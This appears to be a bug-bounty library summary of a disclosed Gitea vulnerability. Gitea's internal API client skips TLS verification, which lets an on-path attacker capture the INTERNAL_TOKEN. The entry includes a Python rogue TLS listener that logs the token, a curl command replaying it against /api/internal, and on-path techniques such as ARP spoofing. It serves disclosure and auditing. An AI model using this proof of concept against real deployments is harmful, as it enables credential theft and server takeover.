# Gitea: Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override

Gitea's internal API client hardcodes InsecureSkipVerify, letting an on-path attacker MITM split-host HTTPS deployments and steal the static INTERNAL_TOKEN granting full internal-API access.

- Payout: Research
- Severity: high
- Program: Gitea
- Found by (vendor credit): sanil18
- Found by: sanil18
- Disclosed: 2026-07-21
- CVE: CVE-2026-54481
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-94v3-77j7-vm48
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-94v3-77j7-vm48
- Tags: area:cloud domain:infra impact:internal-access impact:privesc kind:research platform:ghsa sev:high tech:go technique:source-review vuln:auth-bypass vuln:info-disclosure vuln:misconfiguration

**Target:** Internal API HTTP client (modules/private/internal.go) calling LOCAL_ROOT_URL
**Root cause:** The internal API transport hardcodes TLSClientConfig.InsecureSkipVerify=true with no config gate, unlike every other outbound TLS client in the codebase. ServerName is set but only used for SNI, so any certificate is accepted.
**Steps:**
1. Set `[server] PROTOCOL = https` and `LOCAL_ROOT_URL = https://127.0.0.1:8443/` so the internal client uses HTTPS to an interceptable target.
2. Run a rogue TLS listener on 127.0.0.1:8443 with a self-signed cert that logs the `X-Gitea-Internal-Auth` header and returns `{"err":"","user_msg":""}`.
3. Trigger a real internal call via a subprocess path, e.g. `git clone ssh://git@<host>:<port>/owner/repo.git`, which execs `gitea serv` and issues the internal API request.
4. Observe the captured `Bearer <INTERNAL_TOKEN>` at the listener.
5. Replay with `curl -k https://<gitea-host>:<port>/api/internal/manager/processes -H "X-Gitea-Internal-Auth: Bearer <INTERNAL_TOKEN>"`; 200 confirms full internal-API access.
**How found:** Code review of modules/private/internal.go spotted the hardcoded InsecureSkipVerify=true and compared it against every other outbound TLS client (webhook, migrations, MinIO, LDAP, SMTP, Redis, incoming-mail), all of which expose a secure-by-default SkipVerify toggle. Traced the dialer to confirm no loopback pinning and that subprocesses use real sockets, then verified the token is a static bearer header and the sole gate for internal routes.
**Exploitation:** Attacker needs on-path position on the internal segment (ARP spoofing, malicious sidecar/pod, DNS/route manipulation) in a split-host HTTPS deployment. The gitea serv/hook subprocess connects to LOCAL_ROOT_URL, accepts the rogue cert, and sends the static INTERNAL_TOKEN as a bearer header. The token is then replayable against the main public listener where /api/internal is mounted, granting shutdown/restart, SSH key authorization, git command execution, hook control, mail send, and runner-token generation.
**Escalation:** Internal routes are mounted on the main public HTTP listener (r.Mount("/api/internal", private.Routes())), so a stolen token is replayable by anyone reaching the Gitea port, not just the internal segment.
**Insight:** When auditing a codebase, diff one outbound TLS client against all its siblings: a lone hardcoded InsecureSkipVerify among configurable peers marks the odd one out. Also check whether internal-only routes are mounted on the public listener, which turns a segment-local MITM into a remotely replayable token.

## Proof of concept (copied exactly from the original report)

**Rogue TLS listener capturing INTERNAL_TOKEN**

```
import http.server, ssl, subprocess
     subprocess.run(["openssl","req","-x509","-newkey","rsa:2048","-keyout","k.pem","-out","c.pem",
                     "-days","1","-nodes","-subj","/CN=127.0.0.1"], check=True)
     class H(http.server.BaseHTTPRequestHandler):
         def handle_one(self):
             pass
         def do_GET(self):  self._h()
         def do_POST(self): self._h()
         def _h(self):
             a = self.headers.get("X-Gitea-Internal-Auth","")
             if "Bearer" in a: print("[!] CAPTURED TOKEN:", a.replace("Bearer ",""))
             self.send_response(200); self.end_headers(); self.wfile.write(b'{"err":"","user_msg":""}')
         def log_message(self,*a): pass
     s = http.server.HTTPServer(("127.0.0.1",8443), H)
     ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); ctx.load_cert_chain("c.pem","k.pem")
     s.socket = ctx.wrap_socket(s.socket, server_side=True)
     s.serve_forever()
```

**Replay captured token against internal API**

```
curl -k https://<gitea-host>:<port>/api/internal/manager/processes \
          -H "X-Gitea-Internal-Auth: Bearer <INTERNAL_TOKEN>"
```

**Config pointing internal client at HTTPS target**

```
[server]
     PROTOCOL       = https
     LOCAL_ROOT_URL = https://127.0.0.1:8443/
```

